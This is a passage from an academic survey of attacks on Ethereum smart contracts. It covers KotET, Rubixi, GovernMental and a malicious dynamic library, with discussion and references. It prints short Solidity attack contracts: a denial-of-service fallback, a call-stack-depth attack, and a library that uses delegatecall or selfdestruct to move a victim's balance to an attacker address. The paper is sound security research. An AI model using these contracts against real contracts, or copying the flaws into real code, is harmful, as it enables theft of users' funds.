Apparently, the contract may seem honest: in fact, it is not, because not checking the return code of `send` may result in stealing ether[17]. Indeed, since `send` is equipped with a few gas (see "gasless send" vulnerability), the `send` at line 17 will fail if the king's address is that of a contract with an expensive fallback. In this case, since `send` does not propagate exceptions (see "exception disorder"), the `compensation` is kept by the contract.

Now, assume that an honest programmer wants to implement a fair variant of `KotET`, by replacing `send` with `call` at line 6, and by checking its return code:

[16] This code works until Solidity v0.4.2. From there on, some changes to the syntax are needed as shown in co2.unica.it/ethereum/doc/attacks.html#kotet.

[17] From Solidity v0.4.2. the compiler gives a warning if the return code of `send` is not checked. However, a malevolent programmer can easily fool the compiler by adding a fake check like `bool res = king.send(compensation)`.

```
contract KotET {
  ...
  function() {
    if (msg.value < claimPrice) throw;
    uint compensation = calculateCompensation();
    if (!king.call.value(compensation)()) throw;
    king = msg.sender;
    claimPrice = calculateNewPrice();
}}
```

```
contract Mallory {

  function unseatKing(address a, uint w) {
    a.call.value(w);
  }

  function () {
    throw;
}}
```

This variant is more trustworthy than the previous, but vulnerable to a denial of service attack. To see why, consider an attacker `Mallory`, whose fallback just throws an exception. The adversary calls `unseatKing` with the right amount of ether, so that `Mallory` becomes the new king. At this point, nobody else can get her crown, since every time `KotET` tries to send the `compensation` to `Mallory`, her fallback throws an exception, preventing the coronation to succeed.

4.3 Multi-player games

Consider a contract which implements a simple "odds and evens" game between two players. Each player chooses a number: if the sum is even, the first player wins, otherwise the second one wins[18].

```
contract OddsAndEvens{
  struct Player { address addr; uint number;}
  Player[2] private players;
  uint8 tot = 0; address owner;

  function OddsAndEvens() {owner = msg.sender;}

  function play(uint number) {
    if (msg.value != 1 ether) throw;
    players[tot] = Player(msg.sender, number);
    tot++;
    if (tot==2) andTheWinnerIs();
  }
  function andTheWinnerIs() private {
    uint n = players[0].number
           + players[1].number;
    players[n%2].addr.send(1800 finney);
    delete players;
    tot=0;
  }

  function getProfit() {
    owner.send(this.balance);
  }
}
```

The contract records the bets of two players in the field `players`. Since this field is `private`, other contracts cannot directly read it. To join the game, each player must transfer $1 ether$ when invoking the function `play`. If the amount transferred is different, it is sent back to the player by throwing an exception (line 9). Once the second player has joined the game, the contract executes `andTheWinnerIs` to send $1.8 ether$ to the winner. The remaining $0.2 ether$ are kept by the contract, and they can be collected by the owner via `getProfit`.

An adversary can carry on an attack which always allows her to win a game. To do that, the adversary impersonates the second player, and waits that the first player makes his bet. Now, although the field `players` is private, the adversary can infer the first player's bet, by inspecting the blockchain transaction where he joined the game. Then, the adversary can win the game by invoking `play` with a suitable bet[19]. This attack exploits the "keeping secrets" vulnerability.

[18] This code works until Solidity v0.4.2. From there on, some changes to the syntax are needed as shown in co2.unica.it/ethereum/doc/attacks.html#oddsandevens.

[19] A similar attack on a "rock-paper-scissors" game is presented in [35].

4.4 Rubixi

Rubixi [2,9] is a contract which implements a *Ponzi scheme*, a fraudulent high-yield investment program where participants gain money from the investments made by newcomers. Further, the contract owner can collect some fees, paid to the contract upon investments. The following attack allows an adversary to steal some ether from the contract, exploiting the "immutable bugs" vulnerability.

At some point during the development of the contract, its name was changed from `DynamicPyramid` into `Rubixi`. However, programmers forgot to accordingly change the name of the constructor, which then became a function invokable by anyone (instead, constructors are run only once when the contract is created). The `DynamicPyramid` function sets the owner address; the owner can withdraw his profit via `collectAllFees`.

```
contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.send(collectedFees); }
  ...
```

After this bug became public, users started to invoke `DynamicPyramid` in order to become the owner, and so to withdraw the fees.

4.5 GovernMental

GovernMental [12,13] is another flawed Ponzi scheme. To join the scheme, a participant must send a certain amount of ether to the contract. If no one joins the scheme for 12 hours, the last participant gets all the ether in the contract (except for a fee kept by the owner). The list of participants and their credit are stored in two arrays. When the 12 hours are expired, the last participant can claim the money, and the arrays are cleared as follows:

```
creditorAddresses = new address[](0);
creditorAmounts = new uint[](0);
```

The EVM code obtained from this snippet of Solidity code clears one-by-one each location of the arrays. At a certain point, the list of participants of `GovernMental` grew so long, that clearing the arrays would have required more gas than the maximum allowed for a single transaction [11]. From that point, any attempt to clear the arrays has failed[20].

We now present a simplified version of `GovernMental`, which shares some of the vulnerabilities of the original contract.

[20] Contextually with the hard-fork of the 17th of June, the gas limit has been raised, so allowing the winner to rescue the jackpot of $\sim 1100 ether$.

```
1  contract Governmental {
2    address public owner;
3    address public lastInvestor;
4    uint public jackpot = 1 ether;
5    uint public lastInvestmentTimestamp;
6    uint public ONE_MINUTE = 1 minutes;
7
8    function Governmental() {
9      owner = msg.sender;
10     if (msg.value<1 ether) throw;
11   }
12
13   function invest() {
14     if (msg.value<jackpot/2) throw;
15       lastInvestor = msg.sender;
16       jackpot += msg.value/2;
17       lastInvestmentTimestamp = block.timestamp;
18   }
19   function resetInvestment() {
20     if (block.timestamp <
21         lastInvestmentTimestamp+ONE_MINUTE)
22       throw;
23
24       lastInvestor.send(jackpot);
25       owner.send(this.balance-1 ether);
26
27       lastInvestor = 0;
28       jackpot = 1 ether;
29       lastInvestmentTimestamp = 0;
30     }
31   }
```

The contract `Governmental` gathers the investments of players in rounds, and it pays back only a winner per round, i.e. the player which is the last for at least one minute. To join the scheme, a player must invest at least half of the jackpot (line 14), whose amount grows upon each new investment. Anyone can invoke `resetInvestment`, which pays the jackpot (half of the invested total) to the winner (line 24), and sends the remaining ether to the contract owner. The contract assumes that players are either users or contracts with empty fallback, so not to incur in out-of-gas exceptions during `send`.

We now show three different attacks to our simplified `GovernMental`[21].

Attack #1. This attack exploits the vulnerabilities "exception disorder" and "stack size limit", and is performed by the contract owner[22]. His goal is not to pay the winner, so that the ether is kept by the contract, and redeemable by the owner at a later time. To fulfil this goal, the owner has to make the `send` at line 24 fail. His first step is to publish the following contract:

```
1  contract Mallory {
2    function attack(address target, uint count) {
3      if (0<=count && count<1023) this.attack.gas(msg.gas-2000)(target, count+1);
4      else Governmental(target).resetInvestment();
5    }
6  }
```

Then, the owner calls `Mallory`'s `attack`, which starts invoking herself recursively, making the stack grow. When the call stack reaches the depth of 1022, `Mallory` invokes `Governmental`'s `resetInvestment`, which is then executed at stack size 1023. At this point, the `send` at line 24 fails, because of the call stack limit (the second `send` fails as well). Since `GovernMental` does not check the return code of `send`, the execution proceeds, resetting the contract state (lines 27–29), and starting another round. The balance of the contract increases every time this attack is run, because the legit winner is not paid. To collect the ether, the owner only needs to wait for another round to terminate correctly.

[21] The attacks #1 and #3 have been also reported in [43], while attack #2 is fresh.
[22] As mentioned in Section 3, this attack is no longer possible since October 18, 2016.

Attack #2. In this case, the attacker is a miner, who also impersonates a player. Being a miner, she can choose not to include in blocks the transactions directed to `GovernMental`, except for her own, in order to be the last player in the round. Furthermore, the attacker can reorder the transactions, such that her one will appear first: indeed, by playing first and by choosing a suitable amount of ether to invest, she can prevent others players to join the scheme (line 14), so resulting the last player in the round. This attack exploits the "unpredictable state" vulnerability, since players cannot be sure that, when they publish a transaction to join the scheme, the invested ether will be enough to make this operation succeed.

Attack #3. Also in this case the attacker is a miner impersonating a player. Assume that the attacker manages to join the scheme. To be the last player in a round for a minute, she can play with the block timestamp. More specifically, the attacker sets the timestamp of the new block so that it is at least one minute later the timestamp of the current block. As discussed along with the "time constraints" vulnerability, there is a tolerance on the choice of the timestamp. If the attacker manages to publish the new block with the delayed timestamp, she will be the last player in the round, and will win the jackpot.

4.6 Dynamic libraries

We now consider a contract which can dynamically update one of its components, which is a library of operation on sets. Therefore, if a more efficient implementation of these operations is developed, or if a bug is fixed, the contract can use the new version of the library.

```
1  contract SetProvider {
2
3    address setLibAddr;
4    address owner;
5
6    function SetProvider() {
7      owner = msg.sender;
8    }
9
10   function updateLibrary(address arg) {
11     if (msg.sender==owner)
12       setLibAddr = arg;
13   }
14
15   function getSet() returns (address) {
16     return setLibAddr;
17   }
18 }
```

```
19 library Set {
20   struct Data { mapping(uint => bool) flags; }
21
22   function insert(Data storage self, uint value)
23         returns (bool) {
24     self.flags[value] = true;
25     return true;
26   }
27   function remove(Data storage self, uint value)
28         returns (bool) {
29     self.flags[value] = false;
30     return true;
31   }
32   function contains(Data storage self, uint value)
33         returns (bool) {
34     return self.flags[value];
35   }
36   function version() returns(uint) { return 1; }
37 }
```

The owner of contract `SetProvider` can use function `updateLibrary` to replace the library address with a new one. Any user can obtain the address of the library via `getSet`. The library `Set` implements some basic set operations. Libraries are special contracts, which e.g. cannot have mutable fields. When a user declares that an interface is a `library`, direct calls to any of its functions are done via `delegatecall`. Arguments tagged as `storage` are passed by reference.

Assume that `Bob` is the contract of an honest user of `SetProvider`. In particular, `Bob` queries for the library version via `getSetVersion`[23]:

```
1 library Set { function version() returns (uint); }
2 contract Bob {
3   SetProvider public provider;
4   function Bob(address arg) { provider = SetProvider(addr); }
5   function getSetVersion() returns (uint) {
6     address setAddr = provider.getSet();
7     return Set(setAddr).version();
8 }}
```

Now, assume that the owner of `setProvider` is also an adversary. She can attack `Bob` as follows, with the goal of stealing all his ether. In the first step of the attack, the adversary publishes a new library `MaliciousSet`, and then it invokes the function `updateLibrary` of `SetProvider` to make it point to `MaliciousSet`.

```
1 library MaliciousSet {
2   address constant attackerAddr = 0x42;
3   function version() returns(uint) {
4     attackerAddr.send(this.balance);
5     return 1;
6 }}
```

Note that `MaliciousSet` performs a `send` at line 4, to transfer ether to the adversary. Since `Bob` has declared the interface `Set` as a `library`, any direct call to `version` is implemented as a `delegatecall`, and thus executed in `Bob`'s environment. Hence, `this.balance` in the `send` at line 4 actually refers to `Bob`'s balance, causing the `send` to transfer all his ether to the adversary. After that, the function correctly returns the version number.

Another way to craft a malicious library is to use the function `selfdestruct`. This is a special function, which disables the contract which executes it and send all its balance to a target address. More specifically, the adversary can replace line 4 of `MaliciousSet` with:

```
selfdestruct(attackerAddr);
```

This will disable `Bob`'s contract forever, and send his balance to the adversary.

The attack outlined above exploits the "unpredictable state" vulnerability, because `Bob` cannot know which version of the library will be executed when it used `SetProvider`. More in general, the main issue of libraries is the presence of parts which are updated after the contract has been published. This allows an adversary to change these parts with malicious ones.

5 Discussion

We have presented an analysis of the security of Ethereum smart contracts. Our analysis is based both on the growing academic literature on the topic, on the participation to Internet blogs and discussion forums about Ethereum, and on our practical experience on programming smart contracts. To the best of our

[23] From Solidity v0.4.2., it is no longer possible to instantiate a library via `Set(addr)`: instead, the library address must be set via command line [20]. However, a similar attack is still possible by using `delegatecall`, as shown in co2.unica.it/ethereum/doc/attacks.html#dynamic-libraries-v4-2.

knowledge, our analysis encompasses all the major vulnerabilities and attacks reported so far. Our taxonomy extends to the domain of smart contracts other classifications of security vulnerabilities of software [27, 28, 42, 50]. We expect that our taxonomy will evolve as new vulnerabilities and attacks are found.

It is foreseeable that the interplay between huge investments on security-sensitive blockchain applications and the poor security of their current implementations will foster the research on these topics. The attacks discussed in this paper highlight that a common cause of insecurity of smart contracts is the difficulty of detecting mismatches between their intended behaviour and the actual one. Although analysis and verification tools (like e.g. the ones discusses below) may help in this direction, the choice of using a Turing-complete language limits the possibility of verification. We expect that non-Turing complete, human-readable languages could overcome this issue, at least in some specific application domains. The recent proliferation of experimental languages [31, 33, 36, 38, 51] suggests that this is an emerging research direction.

Verification of smart contracts. Some recent works propose tools to detect vulnerabilities through static analisys of the contract code.

The tool Oyente [43] extracts the control flow graph from the EVM bytecode of a contract, and symbolically executes it in order to detect some vulnerability patterns. In particular, the tool consider the patterns leading to vulnerabilities of kind "exception disorder" (e.g., not checking the return code of `call`, `send` and `delegatecall`), "time constraints" (e.g., using block timestamps in conditional expressions), "unpredictable state", and "reentrancy".

The tool presented in [26] translates smart contracts, either Solidity or EVM bytecode, into the functional language F* [53]. Various properties are then verified on the resulting F* code. In particular, code obtained from Solidity contracts is checked against "exception confusion" and "reentrancy" vulnerabilities, by looking for specific patterns. Code obtained from EVM supports low-level analyses, like e.g. computing bounds on the gas consumption of contract functions. Furthermore, given a Solidity program and an alleged compilation of it into EVM bytecode, the tool verifies that the two pieces of code have equivalent behaviours.

Both tools have been experimented on the contracts published in blockchain of Ethereum. The results of this large-scale analysis show that security vulnerabilities are widespread. For instance, [43] reports that $\sim 28\%$ of the analyzed contracts potentially contain "exception disorder" vulnerabilities.

The work [41] uses the Isabelle/HOL proof assistant [47] to verify a specific contract. More precisely, the target of the analysis is the EVM bytecode obtained by compiling the Solidity code of "Deed", a contract which is part of the Ethereum Name Service. The theorem proved through Isabelle/HOL states that, upon an invocation of the contract, only its owner can decrease the balance.

Low-level attacks. Besides the attacks involving contracts, also the Ethereum network has been targeted by adversaries. Their attacks exploit vulnerabilities at EVM specification level, combined with security flaws in the Ethereum client.

For instance, a recent denial-of-service attack exploits an EVM instruction whose cost in units of gas was too low, compared to the computational effort required for its execution [6]. The attacker floods the network with that instruction, causing a substantial decrease of its computational power, and a slowdown to the blockchain synchronization process. Similarly to the recovery from the DAO attack, also this problem has been addressed by forking the blockchain [1, 10].

Vulnerabilities in client implementations can also be the cause of attacks. A recent technical report [57] analyses the Ethereum official client. By exploiting the block propagation algorithm, they discovered that the Ethereum network can be partitioned in small groups of nodes: in this way, nodes can be forced to accept sequences of blocks created ad-hoc by the attacker.

Acknowledgments. The authors warmly thank Christian Reitwießner of Ethereum Foundation and Arthur Gervais of ETH Zurich for their comments on a preliminary version of this paper. All opinions expressed in this work are solely those of the authors. This work is partially supported by Aut. Reg. of Sardinia P.I.A. 2013 "NOMAD".

References

1. Announcement of imminent hard fork for EIP150 gas cost changes, https://blog.ethereum.org/2016/10/13/announcement-imminent-hard-fork-eip150-gas-cost-changes/
2. Bitcointalk: Hi!My name is Rubixi, https://bitcointalk.org/index.php?topic=1400536.60
3. Block validation algorithm - Ethereum wiki, https://github.com/ethereum/wiki/wiki/Block-Protocol-2.0#block-validation-algorithm
4. The DAO raises more than $117 million in world's largest crowdfunding to date. https://bitcoinmagazine.com/articles/the-dao-raises-more-than-million-in-world-s-largest-crowdfunding-to-date-1463422191
5. Ethereum Classic, https://ethereumclassic.github.io/
6. The ethereum network is currently undergoing a dos attack, https://blog.ethereum.org/2016/09/22/ethereum-network-currently-undergoing-dos-attack/
7. Ethereum reddit page, https://www.reddit.com/r/ethereum
8. Ethereum Wiki: Contract security techniques and tips, https://github.com/ethereum/wiki/wiki/Safety
9. Etherscan: Rubixi code, https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be
10. Explaining eip 150, https://www.reddit.com/r/ethereum/comments/56f6we/explaining_eip_150/
11. GovernMental analysis, https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/
12. GovernMental code, https://etherchain.org/account/0xF45717552f12Ef7cb65e95476F217Ea008167Ae3#code
13. GovernMental main page, http://governmental.github.io/GovernMental/
14. Hacking, Distribute: Scanning live Ethereum contracts for the "unchecked-send" bug, http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/

15. Hard fork completed, https://blog.ethereum.org/2016/07/20/hard-fork-completed/
16. King of the Ether Throne: Post mortem investigation, https://www.kingoftheether.com/postmortem.html
17. King of the Ether Throne: source code, https://github.com/kieranelby/KingOfTheEtherThrone/blob/v0.4.0/contracts/KingOfTheEtherThrone.sol
18. MAker DART: a random number generating game for Ethereum, https://github.com/makerdao/maker-darts
19. RANDAO: a DAO working as RNG of Ethereum, https://github.com/randao/randao
20. Solidity libraries, http://solidity.readthedocs.io/en/develop/contracts.html#libraries
21. Solidity: Members of addresses, http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses
22. Solidity: security considerations, http://solidity.readthedocs.io/en/develop/index.html
23. Understanding the DAO attack, http://www.coindesk.com/understanding-dao-hack-journalists/
24. Anderson, L., Holz, R., Ponomarev, A., Rimba, P., Weber, I.: New kids on the block: an analysis of modern blockchains. CoRR abs/1606.06530 (2016)
25. Andrychowicz, M., Dziembowski, S., Malinowski, D., Mazurek, L.: Secure multiparty computations on Bitcoin. In: IEEE S & P. pp. 443–458 (2014)
26. Bhargavan, K., Delignat-Lavaud, A., Fournet, C., Gollamudi, A., Gonthier, G., Kobeissi, N., Rastogi, A., Sibut-Pinote, T., Swamy, N., Zanella-Beguelin, S.: Formal verification of smart contracts. In: PLAS (2016)
27. Bishop, M.: A taxonomy of Unix system and network vulnerabilities. Tech. Rep. CSE-95-10, Dept. of Computer Science, University of California at Davis (1995)
28. Bishop, M.: Vulnerabilities analysis. In: Proc. Recent Advances in Intrusion Detection. pp. 125–136 (1999)
29. Boneh, D., Naor, M.: Timed commitments. In: CRYPTO. pp. 236–254 (2000)
30. Bonneau, J., Clark, J., Goldfeder, S.: On Bitcoin as a public randomness source. IACR Cryptology ePrint Archive 2015, 1015 (2015)
31. Brown, R.G., Carlyle, J., Grigg, I., Hearn, M.: Corda: An introduction. http://r3cev.com/s/corda-introductory-whitepaper-final.pdf (2016)
32. Buterin, V.: Ethereum: a next generation smart contract and decentralized application platform. https://github.com/ethereum/wiki/wiki/White-Paper (2013)
33. Churyumov, A.: Byteball: a decentralized system for transfer of value. https://byteball.org/Byteball.pdf (2016)
34. Clack, C.D., Bakshi, V.A., Braine, L.: Smart contract templates: foundations, design landscape and research directions. CoRR abs/1608.00771 (2016)
35. Delmolino, K., Arnett, M., Kosba, A.M.A., Shi, E.: Step by step towards creating a safe smart contract: Lessons and insights from a cryptocurrency lab (2016)
36. Etherscripter. http://etherscripter.com
37. Eyal, I., Sirer, E.: Majority is not enough: Bitcoin mining is vulnerable. In: Financial Cryptography and Data Security. pp. 436–454 (2014)
38. Frantz, C.K., Nowostawski, M.: From institutions to code: towards automated generation of smart contracts. In: Workshop on Engineering Collective Adaptive Systems (eCAS) (2016)
39. Garay, J.A., Kiayias, A., Leonardos, N.: The Bitcoin backbone protocol: Analysis and applications. In: EUROCRYPT. pp. 281–310 (2015)

40. Gervais, A., Karame, G.O., Wüst, K., Glykantzis, V., Ritzdorf, H., Capkun, S.: On the security and performance of proof of work blockchains. Cryptology ePrint Archive, Report 2016/555 (2016), http://eprint.iacr.org/2016/555
41. Hirai, Y.: Formal verification of Deed contract in Ethereum name service. https://yoichihirai.com/deed.pdf
42. Landwehr, C.E., Bull, A.R., McDermott, J.P., Choi, W.S.: A taxonomy of computer program security flaws. ACM Computing Surveys 26(3), 211–254 (1994)
43. Luu, L., Chu, D.H., Olickel, H., Saxena, P., Hobor, A.: Making smart contracts smarter. In: ACM CCS (2016), http://eprint.iacr.org/2016/633
44. Luu, L., Teutsch, J., Kulkarni, R., Saxena, P.: Demystifying incentives in the consensus computer. In: ACM CCS. pp. 706–719 (2015)
45. Marino, B., Juels, A.: Setting standards for altering and undoing smart contracts. In: RuleML. pp. 151–166 (2016)
46. Nakamoto, S.: Bitcoin: a peer-to-peer electronic cash system. https://bitcoin.org/bitcoin.pdf (2008)
47. Nipkow, T., Paulson, L.C., Wenzel, M.: Isabelle/HOL: a proof assistant for higher-order logic, vol. 2283. Springer Science & Business Media (2002)
48. Nomura Research Institute: Survey on blockchain technologies and related services. http://www.meti.go.jp/english/press/2016/pdf/0531_01f.pdf
49. Pierrot, C., Wesolowski, B.: Malleability of the blockchain's entropy. IACR Cryptology ePrint Archive 2016, 370 (2016)
50. Piessens, F.: A taxonomy of causes of software vulnerabilities in internet software. In: Int. Symp. on Software Reliability Engineering. pp. 47—-52 (2002)
51. Popejoy, S.: The Pact smart contract language. http://kadena.io/pact (2016)
52. Sompolinsky, Y., Zohar, A.: Secure high-rate transaction processing in bitcoin. In: Financial Cryptography and Data Security. pp. 507–527 (2015)
53. Swamy, N., Hritcu, C., Keller, C., Rastogi, A., Delignat-Lavaud, A., Forest, S., Bhargavan, K., Fournet, C., Strub, P., Kohlweiss, M., Zinzindohoue, J.K., Béguelin, S.Z.: Dependent types and multi-monadic effects in F*. In: POPL (2016)
54. Szabo, N.: Formalizing and securing relationships on public networks. First Monday 2(9) (1997), http://firstmonday.org/htbin/cgiwrap/bin/ojs/index.php/fm/article/view/548
55. UK Government Chief Scientific Adviser: Distributed ledger technology: beyond block chain. https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/492972/gs-16-1-distributed-ledger-technology.pdf
56. Wood, G.: Ethereum: a secure decentralised generalised transaction ledger. gavwood.com/paper.pdf (2014)
57. Wüst, K., Gervais, A.: Ethereum Eclipse Attacks. Tech. rep., ETH-Zürich (2016)